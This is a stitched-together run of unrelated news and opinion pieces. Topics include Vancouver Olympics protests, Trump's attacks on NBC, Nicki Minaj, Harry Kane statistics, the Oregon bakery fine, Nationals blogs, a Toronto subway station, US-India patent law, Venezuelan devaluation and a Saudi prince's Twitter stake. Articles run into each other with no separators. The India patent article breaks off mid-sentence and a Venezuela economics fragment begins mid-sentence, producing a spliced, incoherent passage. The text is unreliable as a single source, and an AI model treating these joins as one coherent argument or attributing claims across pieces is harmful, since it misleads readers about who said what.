“Our young people who have broken the windows at these big stores with the Olympic costumes or whatever you want to call it, they’re not bad, they’re angry because of the rich people bringing the Olympics into our country when it wasn’t needed here. Those kids were not bad, they were only angry because of what they bring to our country, big time poverty. And I’m angry, I’m very angry at these people that organize the Olympics to come to Canada, our beautiful country, our stolen land, our stolen Native land. They had to bring the Olympics here? And we’re still fighting for our land and we’re going to continue to fight until we get some answers. So remember, those kids that broke the windows, that were protesting, they’re not bad, they’re our people, they’re our children. We are the mothers, we are the grandmothers, we are the aunts, we are the sisters, we are the caregivers. Those kids were not bad when they broke that window. They were protesting because of what’s happening to our country and our city. All my relations.”
– Stella August
Links –
Video of Stella August speech:
http://www.youtube.com/watch?v=DqzWnGLJbeA
Corporate news article about Stella August’s speech on the black bloc:
http://no2010.com/node/1362
SFU Labour History Director and anarchist writer Mark Leier’s interview in the media about the black bloc at the Heart Attack demo:
http://no2010.com/node/1353
Response to Derrick O’Keefe about the black bloc and Heart Attack demo,
By Oshipeya:
http://www.mediacoop.ca/blog/oshipeya/3029
Black Bloc vs. Liberal Shlock,
By Bineshii:
http://anarchistnews.org/?q=node/10839
Breaking windows is not a revolutionary act,
By Judy Rebick:
http://rabble.ca/blogs/bloggers/judes/2010/02/breaking-windows-not-revolutionary-act
The State Is Not a Window,
By Heatscore:
http://linchpin.ca/English/State-Not-Window-Iconoclast
Thoughts on the anonymous communiqué from members of the Black Bloc,
by Andrew Loewen:
http://vancouver.mediacoop.ca/story/2790
A Contribution to the Critique of Political Autonomy.
by Gilles Dauvé and Karl Nesic:
http://troploin0.free.fr/ii/index.php/textes/16-a-contribution-to-the-critique-of-political-autonomy
AdvertisementsWhen the news of Matt Lauer’s dismissal from NBC broke, President Trump used it as an opportunity to attack NBC News and network Chairman Andrew Lack.
He tweeted:
Wow, Matt Lauer was just fired from NBC for “inappropriate sexual behavior in the workplace.” But when will the top executives at NBC & Comcast be fired for putting out so much Fake News. Check out Andy Lack’s past! — Donald J. Trump (@realDonaldTrump) November 29, 2017
This raises many questions, including, is the president investigating news executives and to what end?
Trump went on, naming MSNBC president Phil Griffin and referring to the 2001 death of an intern to then-Congressman Joe Scarborough:
So now that Matt Lauer is gone when will the Fake News practitioners at NBC be terminating the contract of Phil Griffin? And will they terminate low ratings Joe Scarborough based on the “unsolved mystery” that took place in Florida years ago? Investigate! — Donald J. Trump (@realDonaldTrump) November 29, 2017
NBC has been a trusted source of news since it aired the nation’s first television news broadcast in 1939. The only time I can remember that NBC was accused of putting misinformation on the air was recently when Brian Williams misrepresented his own past. That was dealt with in an appropriate manner and did not affect the actual news he covered.
In my book “Anchoring American,” NBC’s Chet Huntley, in response to the Nixon administration, said:
“Journalists were never intended to be cheerleaders of a society, the conductors of applause, the sycophants. Tragically, that is their role in authoritarian societies, but, not here – not yet. Government, I’ve concluded, is now an insufferable jungle of self-serving bureaucrats.”
What has me concerned is that President Trump appears to want the networks to answer to his standards as opposed to being responsible journalists reporting the news even when its critical of his own words or his administration. That’s their job. This is supposed to be a nation of checks and balances. Without those checks, welcome to 1984.
ADVERTISEMENT
For the president to attack Andy Lack by name is way out of line. I have followed Andy’s career from the years as a producer of 60 Minutes through both of his tours as president of NBC News. It was Lack who hired Matt Lauer to host the Today Show in 1997, so it probably was not an easy task to fire him. When the president asks us to investigate Andy’s past what exactly is he referring is he referring to?
Speaking of “pasts” perhaps the president should watch the documentary “Meet the Trumps” on Netflix.
Further disturbing is the fact that Trump is blurring the line between news and commentary. Phil Griffin and Joe Scarborough are commentators. They convey their opinions which, last I checked, is protected by the first amendment.
The irony is that the president is attacking the very people who largely control his legacy. It’s apparent the president does not take criticism very well. There would be far less of it if he would focus his attention on impending legislation (which affects every American), North Korea (that has our country afraid of a nuclear attack) and the business of running this great country. There is no need to attack the media for doing their job unless it’s a smoke screen to keep our attention off the real crises.
The news will go on long after President Trump leaves office and will continue to be the providers of information to the people. The government has no business meddling in the affairs of the news media. Otherwise, we will we have to revert back to the days when town criers needed protection for yelling out the news of the day, hence the saying “don’t shoot the messenger.” If Trump learns that lesson, the whole country will be better off.
Jeff Alan is an Emmy Award-winning journalist and author of two books, “Anchoring America” and “Responsible Journalism.” His career spans more than 40 years and includes work as a television anchor or news director in five metropolitan markets and as a media analyst for NBC and CNN.Rapper Nicki Minaj was a featured performer at the star-studded TIME 100 gala on Tuesday night, and dedicated one of her best-known songs, the big booty anthem “Anaconda,” to both Vice President Joe Biden and GOP presidential frontrunner Donald Trump.
The 33-year-old Pinkprint rapper, named one of the magazine’s top 100 most influential people of 2016, ran through a number of her hits including “The Crying Game,” “Truffle Butter” and “Feeling Myself” before briefly pausing her performance to make the unusual dedication.
“I’m very political and I would like to dedicate a song in the spirit of unity to Joe Biden and Donald Trump,” Minaj said, according to Time. At the conclusion of the song, the rapper added: “Who do you think likes the biggest butts? Donald Trump or Joe Biden? Trump?”
https://twitter.com/NickiExclusive/status/725152133281140737
Nicki Minaj at the TIME 100 Gala #TIME100 pic.twitter.com/Fn90vr9x78 — Dan Hirschhorn (@DanBHirschhorn) April 27, 2016
The rapper also reportedly took a moment to praise the female attendees at the gala.
“If you don’t need a man to buy you a car or a house, make some motherf—king noise!” Minaj said.
“If you don’t know how to treat your woman, there are 100 dudes lined up ready to treat her like a queen,” she added, addressing the men in the room.
Other artists on Time magazine’s most influential list include Ariana Grande, Kendrick Lamar, Taraji P. Henson, Idris Elba and Charlize Theron, while Donald Trump, Ted Cruz, Bernie Sanders, Hillary Clinton and President Obama also made the cut.
See the rest of Time‘s 100 Most Influential People here.
Follow Daniel Nussbaum on Twitter: @dznussbaumJust drink in the statistics…
Premier League goals since start of 2014/15:
HARRY KANE 65
Sergio Aguero 62
Diego Costa 49
Alexis Sanchez 46
Romelu Lukaku 46
Premier League goals for Englishmen since start of 2014/15:
HARRY KANE 65
Jamie Vardy 34
Jermain Defoe 33
Charlie Austin 24
Dele Alli 23
Minutes per goal of PL strikers with at least five goals this season:
Olivier Giroud 91 minutes per goal
HARRY KANE 100 mins
Romelu Lukaku 127 mins
Alexis Sanchez 129 mins
Diego Costa 130 mins
Most goals in Europe’s top five leagues this season for 23 and under:
Andrea Belotti (Torino) 22
HARRY KANE (TOTTENHAM) 19
Romelu Lukaku (Everton) 18
Timo Werner (RB Leipzig) 14
Dele Alli (Tottenham) 13
Most goals (all competitions) across Europe’s top five leagues in 2017:
Lionel Messi 15
HARRY KANE 14
Alexandre Lacazette 12
Edinson Cavani/Edin Dzeko/Luis Suarez 11
Top Premier League scorers for Tottenham:
Teddy Sheringham 98 (in 236 games)
Jermain Defoe 91 (in 276 games)
Robbie Keane 91 (in 238 games)
HARRY KANE 68 (in 106 games)
Chris Armstrong 48 (in 141 games)
Goals per game of all Tottenham players with 20 PL goals or more:
HARRY KANE 0.64 goals per game
Jurgen Klinsmann 0.52
Teddy Sheringham 0.42
Dimitar Berbatov 0.39
Robbie Keane 0.38
Goals per game of all PL players:
Thierry Henry 0.68 goals per game
Sergio Aguero 0.67
HARRY KANE 0.64
Ruud van Nistelrooy 0.63
Luis Suarez 0.63
Top goalscoring seasons (all competitions) for Tottenham since 1970:
Clive Allen (1986/87) 49 goals
Martin Chivers (1971/72) 42
Gary Lineker (1991/92) 35
Martin Chivers (1972/73) 33
HARRY KANE (2014/15) 31
Most Tottenham hat-tricks since 1970:
HARRY KANE 5
Jermain Defoe 5
Gary Lineker 4
Robbie Keane/Teddy Sheringham/Garth Crooks/Clive Allen 3
Premier League players with most hat-tricks before turning 24:
Michael Owen 7
Robbie Fowler 7
HARRY KANE 4An Oregon administrative law judge recommended today that the bakers who refused to bake a cake for a same-sex wedding should be fined $135,000.
“[T]he forum concludes that $75,000 and $60,000, are appropriate awards to compensate [the same-sex couple] for the emotional suffering they experienced,” wrote Alan McCullough, administrative law judge for Oregon’s Bureau of Labor and Industries in his proposed order.
Aaron and Melissa Klein, owners of Sweet Cakes by Melissa located in Gresham, Ore., say the fine is enough to potentially bankrupt their family of seven.
The dispute began in January 2013, when Aaron denied Rachel Cryer a wedding cake after learning there would be two brides in her wedding.
Aaron and his wife Melissa are both Christians and believe that marriage is the union of one man and one woman.
Rachel and her partner Laurel Bowman-Cryer, who are now married, filed a complaint with the Oregon Bureau of Labor and Industries under the state’s public accommodation law, which bans discrimination based on a person’s sexual orientation.
The Oregon Bureau of Labor and Industries pursued charges against the Kleins on behalf of the same-sex couple.
In January 2015, an investigation by the bureau found the Kleins guilty of violating the state’s public accommodation law by denying Rachel and Laurel full and equal access to their bakery, which the state considers a place of public accommodation.
The Civil Rights Division of the Oregon Bureau of Labor and Industries is responsible for enforcing the state’s public accommodation law, and the judge who issued today’s proposed order works for the bureau.
In order to reach $135,000, Rachel and Laurel submitted a long list of alleged physical, emotional and mental damages they claim to have experienced as a result of the Kleins’ unlawful conduct.
One of the women, whose name was redacted to protect her privacy, listed 88 symptoms as grounds for compensation. The other, whose name was also redacted, listed 90.
Examples of symptoms include “acute loss of confidence,” “doubt,” “excessive sleep,” “felt mentally raped, dirty and shameful,” “high blood pressure,” “impaired digestion,” “loss of appetite,” “migraine headaches,” “pale and sick at home after work,” “resumption of smoking habit,” “shock” “stunned,” “surprise,” “uncertainty,” “weight gain” and “worry.”
>>> Read the full complaint below.
Anna Harmon, the Kleins’ lawyer, told The Daily Signal that during the hearing “there was no expert testimony.”
The witnesses at the hearing were the two women who were requesting a cake, one of their mothers, one of their brothers and another family member. There was no doctor, there was no psychologist, no expert testimony at all.
In collecting the fine, Harmon said the state isn’t just pursuing the Kleins’ business assets, but their personal livelihood as well.
“An important thing to understand about the damages the state is claiming in this case is that the [fine] isn’t going to come from liquidating business assets,” she said.
Their business is gone. They don’t have business assets so when we talk about [the fine], it’s personal. It means that’s money they would have used to feed their children that they can’t use anymore.
In September 2013, after facing public backlash, the Kleins had to close their bakery.
The Oregon Bureau of Labor and Industries did not respond to The Daily Signal’s multiple requests for comment.
Paul Thompson, the attorney representing the lesbians, previously said he has “a policy of not discussing cases that are the subject of open litigation.”
>>> Farmers to Lesbian Couple: ‘We’re Not Hateful People’
Aaron, in an exclusive interview with The Daily Signal on Sunday, said the state of Oregon is attempting to “obliterate” his family.
“The state is now saying that we can award damages above and beyond what you have already suffered … and they have no qualms about doing this,” he said. “It is really showing the state is taking a stance on absolutely obliterating somebody that takes a different stance than the state has.”
The recommended fine will now go to to state Labor Commissioner Brad Avakian, who can either accept it or adjust the amount in issuing a final order.
List of Complaints Alleged Against Aaron and Melissa KleinThe State of the Natosphere 2017:
This year the Nats reported to spring training on 2/14 but fans were not allowed on the Ballpark of the Palm Beaches grounds until Saturday which was February 18th, restricting coverage to the old school media sources, newspapers, television and radio stations. Leaving Talk Nats and other Nats blogs out in the cold (70 degrees today). So I started thinking that it would be nice if Laura and some of the other members of the Talk Nats team could get credentialed and provide additional coverage for the team.
Back in 2010, the Nationals granted press credentials for five Nats blogs, this was a promotion by Stan Kasten (modeled on what the Caps were doing) to support new media outlets, also likely an attempt to drive more positive coverage of the team. Since then four of those original five blogs have disappeared, Nats News Network, Nationals Farm Authority, Nationals Daily News, and Nats320.
Today Federal Baseball and The Nats Blog are the last credentialed blogs standing, but even their access is very limited as compared to the open access that the beat writers receive.
Dating back to the RFK years the “Natosphere” included a large number of blogs that came and went until that term has become largely forgotten. In thinking about the current set of blogs I could only name four or five off the top of my head, so I was surprised to find out that there are about 15 active Nats blogs. So with spring training in full swing, I decided to do a quick review of what is available for Nats fans beyond the Post, Times, and MASN.
We also want to give a shout-out to Matt at MattsBats.com. Matt has been around for years and is now part of MLB Blogs also. He started when he was around six-years-old writing about the Nationals, and he brings that youthful spirit that is part of this new wave of young writers that can be seen around baseball. Even TalkNats has some young writers like teenager Michael Daalder who also by the way started Talk Cubs as an affiliated site to Talk Nats. There is also DC local Aidan Kohn-Murphy who is 13-years-old and covers DC sports for Sports Illustrated Kids. Will Kubzansky is in high school and is another teenage whiz who is a regular writer on Federal Baseball.
If there is a such thing as a Twitter Blog, that is JWerth’s Beard with a twitter following of over 20,000 passionate fans of their site Twitter address. Writing at 140 characters at a time, it is one of the favorite destinations, and yes, JWerth’s Beard wrote an article for Talk Nats and hopefully will again!
To help look at the popularity of the various blogs I used an Amazon site that provides a website ranking and stats such as the number of page clicks per visit and the number of minutes per visit. Here is the link to the Talk Nats stats, but the stats are based on site views over the last month which are usually the slowest time of the year for baseball blogs since it is the off-season.
A Review of the Nats Blogs:
The Nats Blog gets a lot of search hits based on it’s highly descriptive name. There are a few different bloggers who are fairly active, 5-10 posts a month. Very good writers who cover the typical Nats news, signings, updates on ex-Nats, and Harper’s wedding.
Citizens of Natstown has some very well researched long form articles, but not a huge amount of activity during the off-season. Much of the traffic to the site is driven by their coverage of the Nats’ prospects. The various bloggers are all active on Twitter. The site does have a podcast.
Nats GM is a one man operation, producing a few long form articles a month. It also includes a podcast. The beer coverage is a nice draw. The strange thing about this blog is that the biggest search hit is Brad Wilkerson. There are a fair amount of comments per post. Strangely, this was the site that this week wrote a story on the Baltimore Orioles. That might have a long-term effect on their site.
Nats Talk on the Go is a podcast, no articles and no comments so not much of a community. It does have a nice store with some cool shirts.
Nationals Prospects is a one man show that is very active and very well researched, this guy is spending a lot of time on this site. Unlike some of the other sites this one covers a specific niche, making it very valuable for anyone with an interest in the Nats farm system. Following the team beyond the 25 man roster isn’t for everyone, but for those with an interest there is a regular discussion in the comments.
Nationals Arms Race is another single author blog that focuses on a niche, pitching. A couple very long and very well researched articles a week, with a good number of comments on each post.
Half Street Heart Attack is not a highly active blog but it does contain analysis on the business side of baseball, contracts and trade analysis.
1500 South Capitol Street stands out from the crowd, it is written in Japanese by a guy who used to live in DC and now resides in Tokyo. He is an active blogger who gets no comments on his site so I’m sure he’d welcome a hello from the US.
Nationals Review is a slick-looking site that has a well written long form article or two a month from one primary blogger. This site provides a great annual service of mapping out all the beer to be found at Nats Park, now that is a valuable niche. Plus some real nice shirts available.
District on Deck is associated with the Fansided network of blogs, getting it linked from major websites, they are ranked at about 700,000 for popular websites in the US. Typically visitors stay on the site for over two minutes per visit. The brawl with the Pirates last fall was their biggest driver in traffic. They have a very busy website, with a few different authors.
Nats Baseball (Whoseanders and Whatsglories?) is another blog that gets a lot of traffic just based on their name, and Harper Gordek is a talented writer. A single author who posts very long articles on almost a daily basis, attracting a number of comments per post.
Nats Gallery is a less active blog that got a lot of hits based on a comprehensive post on Winterfest. Nice articles, book reviews, and a listing of player walk-up music that is a real nice resource.
Let Teddy Win is one of the original group of Nats blog, dominating coverage of the mascot niche and getting a lot of traffic with early previews of the promotional schedule. This blog may have suffered from getting what it wished for, Teddy winning couldn’t have been good for tee-shirt sales. Scott Ableman does a good job overall with the blog and also has a knack for getting some good video.
Federal Baseball is by far the most visited of the Nats blogs, ranked 128,000 in the US. They get 1.6 page views per visit and over two minutes spent on the site on average per visit. The Pirates brawl was also a big driver of traffic. Federal Baseball is associated with SB Nation, a very nice looking site that gets linked from big time web sites. They have one primary author and several other authors covering a variety of Nats related topics. They have very popular game day threads.
Where does Talk Nats fit in?
Talk Nats ranked 598,000 in the US of all blogs which includes tens of millions of blogs, also with over two minutes spent on the site per visit. Not bad for a totally independent site that entered their existence during 2015 at a time when the team finished outside of the playoffs after being the team favored to win the World Series.
As an independent site, Talk Nats does not get a huge number of clicks from non-fans, but it does have by far the highest number of comments per day (possibly more than all the other blogs combined) and certainly more than MASN on the Nationals side and most days WaPo. The biggest traffic driver was the breaking news of Bryce Harper‘s wedding, and its articles on player’s bats have a more national appeal. Not surprisingly, the highest number of search hits were during spring training, Talk Nats really had the best coverage of the team from Viera even though they operate with no help from the Nationals.
So, should Talk Nats mess with a good thing? Probably not, but I’ve got a suggestion anyway. The game day threads here are immensely popular, with hundreds of comments. But they push the more topical posts into the background. If there is a nice thread on SABR, or the MASN lawsuit, or Harper’s choice of bats there is a related conversation that could continue for days or weeks that I often feel gets cut short when the next game starts.
I’d like to see the game day threads split off from the topical posts, allowing the separate discussion to continue indefinitely. This would allow for Talk Nats to keep the game day threads running the same as always while mimicking a site like WNFF that gets triple the number of page clicks per visit and more than double the number of minutes spent per visit by having a half dozen or more different topics up for discussion at any given time.
If traffic is the goal (and if you are advertising I’d say this is a worthy goal), then linking up with other blogs may be the way to go. Either becoming a partner with a large national site such as SB Nation or by cross promoting with some of the smaller sites. There are a number of very good writers on the various blogs whose posts are not being seen by a lot of people, they might find that the higher visibility of Talk Nats outweighs the independence of running their own blogs.
Where are the Nattering Nabobs?
As a final thought, the Natosphere does not have a blog that treads in the negative mudslinging that is sometimes needed as part of checks and balances. What these current blogs have in common is a positive theme, which is great, Nats fans want to read good things about the team. But there needs to be a strong voice to counter the prevailing thought some times. Fire Jim Bowden and NatsNQ were two good examples of blogs that filled this role in the past. There has to be some grumpy Nats fan sitting in his parent’s basement who knows what is wrong with this team.
Share this: Twitter
Facebook
GoogleNike Flyknit Racer “Be True” Releases On June 1st
4.18 / 5 82 VOTES This post contains references to products from one or more of our advertisers. We may receive compensation when you click on links to those products. The opinions and information provided on this site are original editorial content of Sneaker News.
Nike continues its celebration and support of the LBGTQ community with its annual capsule of footwear and apparel designed to raise awareness for the group’s fight for equal rights. The Flyknit Racer “Be True” indulges itself in a rainbow gradient Flyknit Swoosh above the iconic black/white Flyknit color-combination, complete with BE TRUE tongue labels. The medial Swoosh is a solid pink, as is the Swoosh on the outsole. The Nike Flyknit Racer “Be True” as well as the entire Be True collection is set for a release on June 1st.
Nike Flyknit Racer Be True
Release Date: June 1st, 2017
$150
Style Code: 902366-100| by Stefan Novakovic |
"It's like something out of Star Trek," the TTC's Joanna Kervin remarks, looking up at the sinuous form taking shape above us. Located southwest of the Highway 407 and Jane interchange in Vaughan, the regional transit hub will be the penultimate station on the northwest branch of Toronto's Line 1, integrating services for TTC, GO, ZÜM, and York Region Transit. Ahead of its scheduled December 2017 opening, the station's sleek kinetic form is already a conspicuous presence among a sea of highway-adjacent boxes.
Looking north, image by Craig White
Designed by Aedas in partnership with AECOM and engineering firm Parsons Brinckerhoff, Highway 407 Station features an 18-bay bus terminal above grade, along with TTC subway service below. Along with enhanced local service for York Region Transit, one of Brampton's ZÜM express bus lines, and GO, the multi-modal facility will redirect some of the existing GO buses from Toronto destinations (including Yorkdale), providing a connection to the subway while avoiding Toronto traffic.
Looking down the bus terminal, image by Jack Landau
Surrounding the facility, some 600 parking spaces will (together with additional nearby lots) cater to regional commuters, with an additional 14 accessible spaces fronting the station, alongside the Passenger Pick-Up and Drop-Off zone and bicycle parking. While site offices still occupy much of the future parking lot space, recently planted landscaping surrounds the main station entrance.
The view from the future parking lot, image by Craig White
As Kervin explains, giving the plantings "a season to mature" should make for a stronger landscaping program once the station opens. "It also lets us know if any of the plantings don't manage to acclimatize, so that we can make adjustments by next year," Kervin adds.
A re-naturalized portion of Black Creek, image by Jack Landau
The soft landscaping program—which includes a naturalized and re-channelled portion of Black Creek immediately west of Jane—focuses on hardy and low-maintenance local plantings, along with comparatively inexpensive stretches of turf, providing drainage.
Recently installed turf (an earth berm is also visible at centre), image by Jack Landau
Coming up on the bus terminal, plantings will extend up the landscaped berms fronting the sloping roof. Above, work on the distinctive roof is now underway, with the structure's standing seam anodized aluminum skin set to be revealed in the coming months.
Work on the roof, image by Jack Landau
Inside, skylights and curtain-wall glazing carry natural light all the way down to track level, with the passenger atrium and bus terminal designed as open spaces. Stepping inside, the generous proportions call to mind an airport terminal.
Looking up from the concourse level, image by Jack Landau
Double-height spaces are utilized throughout the station, image by Jack Landau
In the coming months, the structure will be sealed with bird-friendly fritted glazing, with a splash of colour added to the white ceramic interiors by an enamel on glass installation by artist David Pearl.
A rendering of the station entrance, image courtesy of the TTC
Set to be installed on the east side of the station, along the subway skylights and the bus station's west façade, the artwork is intended to colour the space with a sense of warmth and vibrancy.
The coloured skylight, image courtesy of the TTC
Located above the tracks—with light spilling below—the now tarp-covered skylight hovers above the escalators, which are framed by curved walls. "We call this space the velodrome," Kervin tells us, drawing our attention to the oval shape surrounding us.
The'velodrome' is designed to bring light to track level, image by Jack Landau
Another view of 'the velodrome,' image by Jack Landau
Meanwhile, at the concourse level between the bus terminal and the escalators to the tracks, knockout panels facilitate an eventual tunnel connection to the future Highway 407 Transitway. Until then, the space will be filled in with a small retailer.
Knockout panels facilitate a future connection to the 407 transitway, image by Jack Landau
Despite the long escalator from the velodrome, the station's track level is designed to let in ample natural light. Although the skylight remains covered by a tarp, the'velodrome's' open, curved configuration lends the track level a sense of continuity with the space above.
Looking up from track level, image by Jack Landau
Another view of the track level, image by Jack Landau
Either side of the platform, the tunnels are now lit, with the rail installation for the 8.6-kilometre Toronto-York Spadina Subway Extension (TYSSE) completed in June of this year.
The tunnel, image by Jack Landau
Back above ground, the bus terminal remains a busy construction site. Viewing the space from the edge of the roof emphasizes the structure's grand scale, and particularly its deceptively imposing height.
The bus terminal, image by Jack Landau
Surrounding the bus terminal—which also gets natural light via an expansive skylight—most of the concrete roadway has already been installed. "It's going to be maintained as concrete, without asphalt on top," Kervin notes, explaining that the lack of a wearing surface facilitates reduced long-term costs.
Another skylight, image by Jack Landau
For a more complete visual overview of the station, our video offers a glimpse at each of the station's spaces:
***
Compared to Toronto's older subway stations, the imposing multi-modal complex at Highway 407 is an entirely different type of facility. Along with improved safety standards—which require more space for mechanical installations—the station's status as regional hub necessitates a larger scale. Nonetheless, the station's form and scale evidence the desire to create both a transit hub and an architectural showpiece that privileges the passenger experience.
A map of the station (click for a closer view), image courtesy of the TTC
We will keep you updated as construction of the six TYSSE stations continues. In the meantime, you can learn more about Highway 407 Station via our dataBase file, linked below. Want to share your thoughts? Leave a comment in the space below this page, or join the conversation in our associated Forum thread.The present controversy highlights the US’s efforts to coerce India to amend its national IP regime to suit the former’s business interests. (Reuters)
Even as the Khobragade scandal fades from public memory, another controversy threatens to derail US-India bilateral relations. This time around, the battle is over intellectual property (IP) rights. A US governmental agency, the International Trade Commission (ITC), recently initiated an inquiry into allegations that India’s IP regime was flawed and at odds with US business interests. In the Khobragade case, there had been noise about how India had to learn to respect the “national” laws of the US. The present controversy highlights the US’s efforts to coerce India to amend its national IP regime to suit the former’s business interests.
Advertising
Clearly, multinational pharmaceutical companies are upset with India’s rigorous patent threshold. In other countries, patent regimes are routinely gamed to protect and even promote the evergreening of drugs (that is, when an old drug that is off patent is modified ever so slightly so that an additional patent monopoply can be procured). India, in its 2005 amendments to the patents act, sent a clear message that it would not suffer evergreening. The “notorious” Section 3(d) has been used to axe many an evergreening attempt, the most significant being Novartis’s anti-cancer drug, Glivec.
In similar vein, India went on to grant a compulsory licence to Bayer’s excessively priced anti-cancer drug (selling at Rs 2.8 lakh a month), paving the way for a cheaper generic to enter the market at Rs 8,800 per month. All of this was done in conformity with Indian patent law and WTO obligations. More importantly, the licence was issued after a rigorous judicial process. Yet, big pharma continues to remain peeved and has been offering testimony after testimony in the US on how Indian IP law is not “respectful” of global pharma interests. It seems oblivious to the fact that US courts denied injunctions to patentees and effectively granted de facto compulsory licences when they deemed it necessary in “public interest”.
The Bayer and the Novartis cases will no doubt take centrestage at this inquiry, triggered by senators who complained, among other things, that India “has applied its patent law in a discriminatory manner, particularly against innovative US pharmaceutical companies, so as to advantage its domestic industries”.
In what appears to be a bid to show India in poor light at these hearings, the US Chamber of Commerce’s Global IP Centre (GIPC) issued a timely report ranking the IP regimes of a curious assortment of 25 countries. Unsurprisingly, the US topped the list and India came in last. The Chamber of Commerce has now gone on to demand that the US trade representative classify India as a “priority foreign country”, |
dollar received is also creating money, no different from creating money without the devaluation. The main difference is that, in addition to any inflationary impact of creating more money, the devaluation also adds to inflation by raising the price of imported goods.
Creating money, though, does not always add to inflation. The US Federal Reserve has created more than $2tn since 2008, and inflation has not significantly increased. But if the Venezuelan government just wanted to have more bolivares to spend, it would be less inflationary to just create the money without the devaluation.
Why devalue, then?
Devaluation has other effects. Although more expensive imports add to inflation, they also help domestic production that competes with imports. And, perhaps more importantly, devaluation makes dollars more expensive, and therefore increases the cost of capital flight. This helps the government keep more dollars in the country.
Not surprisingly, a lot of what passes for analysis in the press is based on wrong numbers and flawed logic. The award for wrong numbers this time goes to Moisés Naím, who writes in the Financial Times that "during Hugo Chávez's presidency, the bolivar has been devalued by 992%."
Fans of arithmetic will note immediately that this is impossible. The most that a currency could be devalued is 100%, at which point it would exchange for zero dollars. Apparently, a very wide range of exaggeration is permissible when writing about Venezuela, so long as it is negative.
But, for a number of reasons, inflation-devaluation spirals in Latin America are a thing of the past – and a devaluation every few years is a far cry from such a spiral. In fact, despite press reports that inflation would reach 60% after the January 2010 devaluation – which was larger than the latest one – core inflation did not even rise, and headline inflation rose only temporarily. Inflation then fell for more than two years, even as economic growth accelerated to 5.2% last year.
The amount of inflation that follows this devaluation will depend on what other measures that the government takes and how effectively they are implemented: price controls, the provision of dollars for importers (including food), and capital controls. But if the past few years are any indication, the government will do what it needs to do in order to keep inflation and shortages from getting out of hand.
As for Venezuela's public debt, the government is a long way from having a problem of unsustainable debt. The IMF projects Venezuela's gross public debt for 2012 at 51.3% of GDP (as compared to more than 90% for Europe). A better measure is the burden of the foreign part of this debt, which in 2012 was about 1% of GDP, or 4.1% of Venezuela's export earnings.
There are a number of distortions and problems with Venezuela's economy – including recurrent shortages – and some of them have to do with the management of the exchange rate system. But none of these problems presents a systemic threat to the economy, in the way that – for example – real estate bubbles in the US, UK, Spain and other countries did in 2006. Those were truly unsustainable imbalances that made an economic collapse inevitable.
Despite the wishful thinking that is over-represented in the media, Venezuela's economy will most likely grow for many years to come, so long as the government continues to support growth and employment.A Saudi billionaire prince, famous for employing a team of dwarves, is now Twitter's second largest shareholder.
Prince Alwaleed bin Talal and his investment firm now owns just over 5%, which is more than Twitter's new chief executive Jack Dorsey.
His cash injection comes at a critical time for Twitter, which is struggling to attract new followers.
Saudi Arabia is said to be home to 40% of all active Twitter users in the Middle East.
Rich list
Prince Alwaleed bin Talal has already ploughed huge amounts of cash into Twitter. Back in 2011, he invested $300m (£195m) into the company.
Now his firm's put in an extra £33m.
It's being seen as a big thumbs up for Jack Dorsey, the man responsible for getting more people to use Twitter.
The prince can certainly afford the investment. He's the Arab world's richest man, worth an estimated £20bn.
He's proud of it too - he once sued Forbes magazine for placing him at 26 on the World's Rich List when he thought he should have been at number 10.
Saudis on social
His interest in Twitter is not surprising. The prince is already a big media player, owning broadcasting organisations and stakes in Disney, 21st Century Fox and News Corp.
Although he's part of the ruling Saudi royal family, he's a businessman not a politician.
He's considered to have "Western" views and has campaigned for women's rights. Half of his staff are women.
His more relaxed attitude contrasts with the country's tight restrictions on what can and can't be said.
Criticism of the government and royal family and the questioning of Islamic beliefs aren't generally tolerated.
The authorities openly admit that widespread filtering takes place online which targets "pornographic", Islam-related, human rights and political sites.
But social media is booming as more and more people get smartphones. Saudi Arabia has the highest per-capita YouTube use of any country in the world.
Naturally, the prince is on Twitter, with 3.82 million followers.
He likes posting photos of himself with important people....
He also employs a lot of dwarves. Apparently they're for his entertainment although he says they're grateful for work in a country with high unemployment.
Giving his fortune away
In July, Prince Alwaleed bin Talal announced that he would be donating his entire fortune to charity.
And it's quite a fortune.
As well as the cash, there's the obligatory fleet of private planes, a super yacht, hundreds of cars, a zoo and his palace with several hundred rooms.
He was inspired to give it all away by Microsoft founder, Bill Gates.
The prince says he hopes to "help build bridges to foster cultural understanding, develop communities, empower women, enable youth, provide vital disaster relief and create a more tolerant and accepting world".
Follow @BBCNewsbeat on Twitter, BBCNewsbeat on Instagram, Radio1Newsbeat on YouTube and you can now follow BBC_Newsbeat on SnapchatPhotograph via ABC Action News/YouTube
Although most residents of Tampa, Florida, have been struggling to stay safe and dry amidst record rainfall and flash flooding this summer, one impromptu angler recently took advantage of the high waters. On Monday, area TV station WFTS ABC Action News shared a video of a man noodling for fish on a flooded sidewalk and successfully catching one with his hands as it swims across the concrete. After posing with the fish for a few quick pictures, the man walks back toward the sidewalk, where the fish squirms out of his grasp and disappears into the water.
According to The Weather Channel, in the past 10 days Tampa International Airport has recorded more than 17 inches of rainfall, which is greater than the averages for the city’s two wettest months combined. So, two questions remain after watching the clip: when will the rain stop and what kind of fish did the man catch?Those of us who regard socioeconomic inequality as a serious problem are often accused of envy, as though such concerns were simply a matter of begrudging someone elses having more cookies than we do.
I think this reaction misses the point in a number of ways; let me say just a bit about just one of those ways:
Suppose you forget to pay your power bill (or your phone bill, or your cable tv bill, or your internet access bill, or your credit card bill, or whatever). What happens? Your provider disconnects you, and youll probably have to pay an extra fee to get service reestablished. You also get a frowny face on your credit report.
On the other hand, suppose that, for whatever reason (internet glitches, downed power lines after a storm, or who knows), you suffer a temporary interruption of service from your provider. Do they offer to reimburse you? Hell no. And theres no easy way for you to put a frowny face on their credit report.
Now, if you rent your home, take a look at your lease. Did you write it? Of course not. Did you and your landlord write it together? Again, of course not. It was written by your landlord (or by your landlords lawyer), and is filled with far more stipulations of your obligations to her than of her obligations to you. It may even contain such ominously sweeping language as lessee agrees to abide by all such additional instructions and regulations as the lessor may from time to time provide (which, if taken literally, would be not far shy of a slavery contract). If youre late in paying your rent, can the landlord assess a punitive fee? You betcha. By contrast, if shes late in fixing the toilet, can you withhold a portion of the rent? Just try it.
Now think about your relationship with your employer. In theory, you and she are free and equal individuals entering into a contract for mutual benefit. In practice, she most likely orders the hours and minutes of your day in exacting detail. As with the landlord case, the contract is provided by her and is designed to benefit her. She also undertakes to interpret it; and you will find yourself subjected to loads of regulations and directives that you never consented to. And if you try inventing new obligations for her as she does for you, I predict you will be, shall we say, disappointed.
These arent merely cases of some people having more stuff than you do. Theyre cases in which some people are systematically empowered to dictate the terms on which other people live, work, and trade. And we generally take it for granted. But its not obvious that things have to be that way.
